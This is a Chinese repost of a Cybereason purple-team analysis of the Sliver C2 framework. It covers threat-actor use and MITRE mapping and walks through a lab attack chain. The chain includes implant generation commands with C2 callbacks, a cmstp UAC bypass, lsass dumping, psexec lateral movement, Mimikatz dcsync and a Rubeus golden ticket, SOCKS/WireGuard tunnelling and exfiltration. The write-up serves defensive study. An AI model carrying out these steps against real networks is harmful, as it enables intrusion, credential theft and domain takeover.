威胁行为者Sliver C2框架使用分析(上)

admin 2023年10月13日00:16:13评论490 views字数 7372阅读24分34秒阅读模式

威胁行为者Sliver C2框架使用分析(上)
威胁行为者Sliver C2框架使用分析(上篇)


jackgreen译自:Cybereason 全球 SOC 和事件响应团队

原文链接:https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors

PART0
绪言

Cybereason 的 GSOC 和事件响应团队分析了一个 不断发展的名为 Sliver 的C2 框架。该框架由一家名为Bishop Fox网络安全公司创建。C2 框架或命令与控制 (C&C) 基础设施被安全专业人员(红队队员和渗透测试人员)用于在安全评估期间远程控制受感染的机器。出于同样的原因,它们也被威胁行为者利用。

在下文中,我们将详细描述该框架的工作原理、使用步骤、威胁参与者如何利用它以及如何实施检测和预防。

与此 Purple Team 系列中的往常一样,Cybereason GSOC 从不同的角度涵盖了该主题:

  • Sliver C2框架说明

  • 红队方面- 在测试台上安装 Sliver C2

  • 蓝队方面 ——分析过去导致使用 Sliver C2 的 BumbleBee 感染案例

  • 紫队方面 ——使用蓝色和红色知识,产生检测和分析能力

在下表中,我们为 Sliver C2 的已识别特征及其在 MITRE ATT&CK 框架中的相应部分创建了映射:

Sliver C2 功能

MITRE战术

MITRE技术

shell

执行

命令和脚本解释器:Windows Command Shell

UAC绕过

特权升级

滥用权限控制机制:绕过用户帐户控制

获取系统 权限

特权升级

访问令牌操作

迁移Migrate

防御规避

进程注入

PsExec

横向

系统服务:服务执行

特定网络端口

命令与控制

非标准端口

使用SOCKS

命令与控制

代理


要点速览

Cybereason GSOC 团队从对 Sliver C2 的研究中提炼出以下关键点:

  • 新趋势:Sliver C2 越来越受到 Threat Actors 的青睐,通常被视为 Cobalt Striker 的替代品。

  • 模块化框架:扩展包管理器(武器库)允许轻松安装(自动编译)各种第三方工具,例如BOF和 .NET 工具,如 Ghostpack(Rubeus、Seatbelt、SharpUp、Certify 等)。

  • 已经与已知的威胁行为者和恶意软件家族相关联:BumbleBee 加载程序感染通常伴随着 Sliver C2 的加载。众所周知,像 APT29 这样的威胁参与者也会利用这个框架。

  • 独特的网络和系统签名:Sliver C2 的检测是可能的,因为该框架在执行 Sliver 特定功能时会创建特定的签名。基础设施服务器的检测和指纹识别也存在,并在本文中列出


威胁行为者Sliver C2框架使用分析(上)
PART1

1.Sliver C2 描述和案例

1.1 它是什么?

Sliver 是一个开源的跨平台对手仿真/红队框架。它的设计具有可扩展性,可供各种规模的组织用于执行安全测试。

Sliver 可与 Cobalt Strike 或 Metasploit 相媲美。

1.2 为什么它越来越受欢迎?

由于以下原因,Silver C2 越来越受欢迎:

  • Cobalt Strike 和 Metasploit 的免费开源替代品

  • Armory平台的模块化

  • 跨平台:OS X、Linux 和 Windows


该框架为对手模拟提供了所有核心功能,最值得注意的是:

  • 动态代码生成

  • 编译时混淆

  • 多人模式

  • 分阶段和无阶段有效载荷

  • 通过 mTLS、WireGuard、HTTP(S) 和 DNS 保护 C2

  • Windows进程迁移、进程注入、用户令牌操作等。

  • 加密集成

  • 内存中 .NET 程序集执行

  • COFF/BOF 内存加载器

  • TCP 和命名管道枢轴

  • Armory、别名和扩展包管理器

在 红队部分,我们分析了如何在现实生活中的攻击场景中利用 Sliver C2。

1.3已知威胁行为者利用 Sliver C2

自2020 年发布以来,Silver C2 的吸引力越来越大 。截至今天,威胁情报报告的数量仍然很少,主要报告描述了利用 Sliver C2 的SVR。

最近,包括一些威胁研究团队发现了 BumbleBee 加载器在初次感染后释放 Sliver C2 的案例。


SVR / APT29 (2021)

威胁行为者

恶意软件家族

日期

链接

APT29 / SVR / Cozy Bear / the Duke

N/A

2021 年 5 月

NCSC

不同组织报告称,名为 APT29 的威胁行为者使用 Sliver C2 确保在受感染网络上的持久性。根据美国国家网络安全中心 (NCSC) 的这份 报告,Sliver C2 的使用“ 可能是为了确保维持对许多现有 WellMess 和 WellMail 受害者的访问权限 ”。在这种特定情况下,SVR 操作员针对每个入侵使用特定的 Sliver C2 基础设施服务器。


TA551 / Shathak (2021)

威胁行为者

恶意软件家族

日期

链接

TA551 / Shathak

N/A

2021 年 10 月

Proofpoint

ProofPoint公司的安全研究人员 发现电子邮件中附有 Microsoft Office 文档,其中包含恶意宏,如果启用,将导致部署 Sliver C2 框架。

TA551 之前与分发恶意软件家族有关,例如 Ursnif、IcedID、QBot/Qakbot 等。

在这种情况下,Sliver 是在初始感染向量之后直接加载的,这与之前涉及 TA551 的案例不同,在之前的案例中,Cobalt Strike 等框架是在初始感染后第二次加载的。Sliver 的这种使用为威胁行为者提供了更大的灵活性。


Exotic Lily (2022)

威胁行为者

恶意软件家族

日期

关联

Exotic Lily

BumbleBee Loader

2022

Cybereason

Cybereason GSOC 团队 之前曾报告过导致 C2 框架部署的 BumbleBee 加载程序感染。最近,团队观察到典型的 BumbleBee 加载程序感染,从 LNK 感染向量开始,最终导致部署 Sliver C2,以便威胁参与者在网络上获得持久性。

在本章中,我们描述了威胁行为者采用的攻击路径,起草了以下时间表:

活动

时间

使用 BumbleBee Loader 进行初始访问

T0

侦察/tasklist

T0+2分钟

命令与控制 / Sliver C2

T0+11分钟

命令与控制/Sliver C2 Shell 功能

T0+41分钟

识别/whoami

T0+42分钟

PART2

2.红队-发现和使用Sliver C2框架

Sliver 被设计为第二阶段的有效载荷,在部署后,使用者可以完全访问目标系统并能够在攻击链中执行后续步骤。


威胁行为者Sliver C2框架使用分析(上)
2.1Sliver 框架架构

Sliver C2 生态系统有四个主要组成部分:

  • 服务器控制台 - 服务器控制台是主界面,在运行 sliver-server 可执行文件时启动。服务器控制台是客户端控制台的超集。除与客户端(操作员)管理相关的特定于服务器的命令外,所有代码都在客户端/服务器控制台之间共享。服务器控制台通过 gRPC 接口与服务器通信。

  • Sliver C2 服务器 - Sliver C2 服务器也是 sliver-server 可执行文件的一部分,负责管理内部数据库、启动和停止网络侦听器。用于与服务器交互的主要接口是 gRPC 接口,通过它实现所有功能。

  • 客户端控制台——客户端控制台是用于与 Sliver C2 服务器交互的主要用户界面。

  • 植入 - 植入是在您想要远程访问的目标系统上运行的实际恶意代码。

我们通过下图描述各个组件之间的关系,将Sliver C2服务器置于交易所的中心,供攻击者用于远程管理。

威胁行为者Sliver C2框架使用分析(上)

威胁行为者Sliver C2框架使用分析(上)

2.2如何使用 Sliver C2?

2.2.1 安装

框架基础安装很简单,包括下载和运行 bash 脚本:

curl https://sliver.sh/install|sudo bash

威胁行为者Sliver C2框架使用分析(上)

我们分析了脚本,运行时执行了以下操作:

  • 安装如下依赖:gpg,curl,build-essential,mingw-w64,binutils-mingw-w64,g++-mingw-w64, (主要是编译相关)

  • 从发布页面下载 Sliver C2 二进制文件并验证完整性

  • 为 Sliver C2安装 systemd 服务以作为系统服务(守护进程)运行

  • 为系统上的所有用户生成客户端配置,以允许他们连接并并行进行攻击活动。

作为系统服务运行的 Sliver 服务器赋予多个操作员连接的能力。

Sliver 植入物支持两种操作模式:

  • Beacon模式 - beacon模式实现了一种异步通信方式,其中植入程序定期检查服务器、检索任务、执行它们并返回结果。

  • Session模式——在会话模式下,植入程序将使用持久连接或使用长轮询创建交互式实时会话,具体取决于底层 C2 协议。


2.2.2 注入(implant)

Sliver C2 植入是跨平台的,您可以使用 --os 标志更改编译器目标。Sliver 接受任何 Golang GOOS GOARCH 作为参数 --os 和 --arch。

我们使用以下命令为 Linux、Mac 和 Windows 生成植入程序:

generate --mtls [C2 Public IP]:443 --os linux --arch amd64
generate --mtls [C2 Public IP]:443 --os mac --arch arm64
generate --mtls [C2 Public IP]:443 --os windows --arch amd64

威胁行为者Sliver C2框架使用分析(上)

适用于不同平台(OS/Arch)的 Sliver C2 植入物

generate info 命令 可用于列出所有支持的编译目标。

威胁行为者Sliver C2框架使用分析(上)

威胁行为者Sliver C2框架使用分析(上)

2.2.3 监听器Listener

在捕获 shell 之前,您首先需要启动一个监听器。支持以下协议:

  • mTLS:Mutual Transport Layer Security (mTLS) 是建立加密 TLS 连接的过程,双方使用 X.509 数字证书相互验证

  • HTTP

  • HTTPS

  • DNS

  • Wireguard

监听器支持会话和beacons回调。我们示例中的植入程序是为443 端口上的mTLS 协议生成的,因此我们启动 mTLS 侦听器:

威胁行为者Sliver C2框架使用分析(上)

启动 mTLS 侦听器并显示当前活动的侦听器

2.2.4 会话Sessions

在目标主机上执行植入后,将创建一个会话:

威胁行为者Sliver C2框架使用分析(上)

显示当前会话

命令执行使用远程目标提供的session id 进行交互式会话:

威胁行为者Sliver C2框架使用分析(上)

与会话交互

Sliver 交互式会话提供了以下命令:

威胁行为者Sliver C2框架使用分析(上)

会话模式下支持的命令列表

2.2.5 武器库 Armory

武器库是 Sliver 别名和扩展包管理器,它允许您自动安装各种第三方工具,例如 BOF 和 .NET 工具。Github上提供了工具列表, 也可以使用安装包。


威胁行为者Sliver C2框架使用分析(上)
2.3使用 Sliver C2 创建完整的攻击路径

在本节中,我们将探讨  Sliver 提供的不同功能,以攻击者的逻辑顺序使用,从初始感染到域管理升级和数据渗出(exfiltration)。在蓝队部分,我们将从防守者的角度分析这些。

这将帮助我们创建检测规则,如 紫色团队部分所述。

Sliver C2 植入物被设计为在攻击者使用初始感染媒介(例如网络钓鱼、下载驱动、利用未修补的漏洞以部署在目标系统上。这部分超出了本文的范围,因此我们直接在目标系统上执行了植入。

我们按照 MITRE 战术顺序介绍了攻击场景,并将每个 Sliver C2 功能引入为攻击链的“链接”。

目标组织由三项资产组成:

  • 一个工作站,在工作站网络区域

  • 中转服务器 托管在DMZ网络区域

  • 服务器网络区域中的域控制器。

威胁行为者Sliver C2框架使用分析(上)

攻击的不同阶段和 Sliver C2 命令和功能:执行、特权升级、持久化、凭证访问、发现、横向移动、收集、命令和控制、渗出


2.3.1 执行

Silver C2 植入程序作为第 2 阶段有效载荷在工作站上执行,我们从 Sliver C2 服务器获得一个 shell 会话,该会话提供多种方法来执行命令和其他脚本或二进制文件。


2.3.2 Shell 命令

Sliver C2 会话(session)有一个内置的命令 shell 来生成一个 powershell 命令提示符。然而,这被认为是不好的做法,并且会在目标系统上留下明显的日志以供检测。

威胁行为者Sliver C2框架使用分析(上)

从 Sliver C2 获取 Powershell 提示符

执行命令
在目标上执行程序的首选方法是 execute 命令,它也可以捕获输出。

威胁行为者Sliver C2框架使用分析(上)

使用 Sliver C2 内置的执行命令

RunAs

在指定用户的上下文中运行新进程(仅限 Windows)。

威胁行为者Sliver C2框架使用分析(上)

以 localAdmin 用户身份运行 ipconfig 命令


2.3.3 特权升级

我们使用属于“管理员”的本地组的帐户访问工作站。但是,我们需要将进程提升到 NT Authority/System ,使我们能够执行进程内存转储等高权限操作。

UAC绕过

可以使用多种可用技术来绕过用户帐户控制。为此,我们使用 cmstp.exe Windows 系统二进制文件 。该漏洞利用的详细信息和源代码可 在此处获得。

威胁行为者Sliver C2框架使用分析(上)

UAC绕过利用源文件

接下来,我们将文件上传到受害机器并执行 powershell 脚本以返回一个绕过 UAC 的新会话。

威胁行为者Sliver C2框架使用分析(上)

执行UAC绕过漏洞利用获取系统权限


在绕过 UAC 之后,我们可以使用内置的 getsystem 命令以 NT AUTHORITYSYSTEM 用户身份生成一个新的 Sliver 会话。

威胁行为者Sliver C2框架使用分析(上)

执行内置的 getsystem 命令

测试新获得的权限确实显示当前用户为 NT AUTHORITYSYSTEM

威胁行为者Sliver C2框架使用分析(上)

getsystem 命令后的会话用户

2.3.4 防御规避

本节介绍用于避免检测的 Sliver C2 植入物的特性。

Migrate

我们使用内置的 migrate 命令将 Sliver C2 植入隐藏到另一个远程进程中,以达到防御规避目的。

威胁行为者Sliver C2框架使用分析(上)

使用 Sliver C2 注入命令


2.3.5 凭据访问

获得权限后,我们使用内置的 procdump 命令转储“lsass.exe”进程内存并在 Sliver C2 上离线检索凭证。

威胁行为者Sliver C2框架使用分析(上)

使用内置的 procdump 命令转储 lsass.exe 内存

可以使用 pypykatz离线读取 Linux(Sliver C2 服务器)上的内存转储。

威胁行为者Sliver C2框架使用分析(上)

Pypykatz 读取 lsass.exe 内存转储(省略完整输出)

我们能够获得登录用户 (STAGEZEROalon) 的密码。

2.3.6发现

在此阶段,我们使用 Sliver C2 来获取有关 Active Directory 的信息以及发现要转向的新机器。


网络扫描

我们使用 Sliver C2 交互式 shell 运行 powershell 命令,以下命令扫描网络以发现活动主机。

威胁行为者Sliver C2框架使用分析(上)

从 Sliver C2 shell 进行网络扫描

IP 地址为 10.0.2.10 的实时主机将是我们横向移动的目标。

威胁行为者Sliver C2框架使用分析(上)

检索 10.0.2.10 的主机名

域中10.0.2.10 的 FQDN STAGEZERO s1-confluence.stagezero.lab


Active Directory发现

我们使用带有 Sliver C2 内置 execute 命令的 Windows 系统二进制文件来发现 Active Directory。

威胁行为者Sliver C2框架使用分析(上)

使用 net 发现 STAGEZERO 域管理员

威胁行为者Sliver C2框架使用分析(上)

使用 nltest 发现 STAGEZERO 域控制器

2.3.7 横向移动


在凭据访问阶段,我们获得了STAGEZEROalon ,在发现阶段,我们找到了另一个主机 s1-confluence.stagezero.lab 。此信息将用于横向移动。

PsExec

我们利用 Sliver C2 内置的 psexec 命令来实现横向移动:

威胁行为者Sliver C2框架使用分析(上)

横向移动到 s1-confluence 服务器

在这台新机器上,我们执行相同的操作(lsass.exe 进程内存的进程转储、 pypykatz 离线启动)来访问凭据。

这些步骤使我们能够访问用户 stagezero_adm ,我们从 Active Directory 发现中知道该用户是域管理员帐户。

威胁行为者Sliver C2框架使用分析(上)

Stagezero_adm 帐户凭据

使用域管理员凭据,我们将伪造一张 Kerberos Golden 票证,以获得对所有加入域的系统的完全访问权限。我们利用 安装的Rubeus从 Sliver C2 Armory获取 Kerberos TGT 以验证为 stagezero_adm

威胁行为者Sliver C2框架使用分析(上)

使用 Rubeus 获取 stagezero_adm 账户的 TGT

命令从离线内存转储中获取的凭据 我们使用 Kerberos TGT 票证或通过psexec 横向移动到域控制器 (DC-1)。

为了伪造 Kerberos Golden Ticket,我们将使用 Sliver C2 上传内置的 Mimikatz 最新版本到 DC-1 机器,解压缩存档并执行 Mimikatz 二进制文件。

威胁行为者Sliver C2框架使用分析(上)

在目标机器上上传并解压 Mimikatz

我们使用 Mimikatz dcsync 命令获取用于签署 Kerberos 票证的 krbtgt 帐户密码哈希。

威胁行为者Sliver C2框架使用分析(上)威胁行为者Sliver C2框架使用分析(上)

获取krbtgt账号密码hash

可以通过 Sliver C2 植入使用 Rubeus 获得 Kerberos Golden ticket:

威胁行为者Sliver C2框架使用分析(上)

用 Rubeus 伪造 Kerberos Golden Ticket

这授予我们域管理员权限并代表攻击者对整个域的入侵成功。


2.3.8 收集和渗出


在本节中,我们使用 Sliver C2 功能来访问目标内部系统。


Socks 代理

Sliver C2 有 SOCKS5 内置命令来打开代理,这个代理通过代表客户端(植入 Sliver C2 的目标机器)将网络流量路由到实际服务器,来促进与内部服务器的通信。

威胁行为者Sliver C2框架使用分析(上)

使用 Sliver C2 设置 SOCKS5 代理

在将我们的导航器配置为使用 SOCKS 代理之后,我们可以访问受感染域的内部资源。

威胁行为者Sliver C2框架使用分析(上)

使用 SOCKS 代理访问 s1-confluence 服务器


Wireguard

Sliver C2 提供了另一种访问受害者网络的内置方法, Wireguard VPN植入。

威胁行为者Sliver C2框架使用分析(上)

设置 Sliver C2 Wireguard 侦听器

Endpoint 设置必须配置为指向 Sliver C2 服务器的 WireGuard 侦听器,在我们的例子中为 40.88.14*.*:999。

威胁行为者Sliver C2框架使用分析(上)

RunningSliver C2 Wireguard 植入物

使用内置的“ wg-portfwd add --remote 10.0.1.10:3389” 设置端口转发后,我们可以访问受害者的内部资源。

威胁行为者Sliver C2框架使用分析(上)

到受害者内部服务器 (DC-1) 的 RDP 连接

在之前的阶段,我们使用 Sliver C2 获得对受害者内部网络和域管理员凭据的多重访问(HTTP、RDP)。我们现在可以通过创建的隧道或通过 Sliver C2 植入物从受害者系统中泄露敏感数据。


威胁行为者Sliver C2框架使用分析(上)
参考文档:

以下师傅的问题对学习和了解sliver使用提供了重要帮助,特此鸣谢:

https://forum.butian.net/share/2274

https://forum.butian.net/share/2275

https://forum.butian.net/share/2243




原文始发于微信公众号(Desync InfoSec):威胁行为者Sliver C2框架使用分析(上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月13日00:16:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   威胁行为者Sliver C2框架使用分析(上)http://cn-sec.com/archives/2104575.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息